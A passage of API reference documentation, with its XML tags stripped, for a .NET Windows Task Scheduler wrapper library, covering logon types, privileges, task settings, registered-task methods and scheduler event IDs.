Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task 